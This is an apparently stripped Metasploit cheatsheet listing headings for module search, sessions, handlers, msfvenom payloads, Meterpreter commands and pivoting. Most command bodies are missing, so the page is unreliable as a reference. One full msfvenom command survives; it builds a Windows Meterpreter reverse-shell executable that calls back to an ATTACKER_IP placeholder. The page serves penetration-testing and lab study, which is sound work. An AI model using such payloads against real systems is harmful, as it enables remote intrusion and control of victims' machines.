Metasploit
Executive Summary
Metasploit is an exploitation framework used to search modules, configure exploits, run payloads, manage sessions, and perform post-exploitation tasks.
Use this cheatsheet for quick msfconsole, module, payload, and Meterpreter command lookup.
Start Metasploit
Start console:
Start with no banner:
Update database:
Check database status:
Search Modules
Search by name:
Search exploit modules:
Search by CVE:
Search by platform:
Search by rank:
Module Workflow
Use module:
Show options:
Show payloads:
Set target host:
Set local host:
Set payload:
Run module:
Alternative:
Run in background:
Common Options
| Option | Purpose |
|---|---|
RHOSTS |
Target host or range |
RPORT |
Target port |
LHOST |
Local listener IP |
LPORT |
Local listener port |
TARGETURI |
Web application path |
USERNAME |
Username |
PASSWORD |
Password |
DOMAIN |
Windows domain |
SSL |
Use TLS/SSL |
VERBOSE |
Show more output |
Sessions
List sessions:
Interact with session:
Background current session:
Kill session:
Kill all sessions:
Jobs
List jobs:
Kill job:
Kill all jobs:
Handlers
Use multi handler:
Set payload:
Set listener:
Start handler:
Start handler as job:
Msfvenom Payloads
Linux reverse shell:
Windows reverse shell:
Windows Meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o meterpreter.exe
PHP reverse shell:
WAR payload:
Meterpreter Basics
Show help:
System info:
Current user:
Current directory:
List files:
Change directory:
Upload file:
Download file:
Shell:
Meterpreter Processes
List processes:
Get PID:
Migrate:
Kill process:
Meterpreter Networking
Show network interfaces:
Show routes:
Port forward:
Remove port forward:
Routing Through Meterpreter
Add route:
Print routes:
Start SOCKS proxy:
Proxychains entry:
Useful Post Modules
Search post modules:
Run local exploit suggester:
Set session:
Run:
Notes
- Always check module options before running.
- Use
checkwhen a module supports it. - Save results and session details during labs.
- Use handlers for payloads generated with
msfvenom. - Meterpreter routing is useful for pivoting but can be unstable through weak sessions.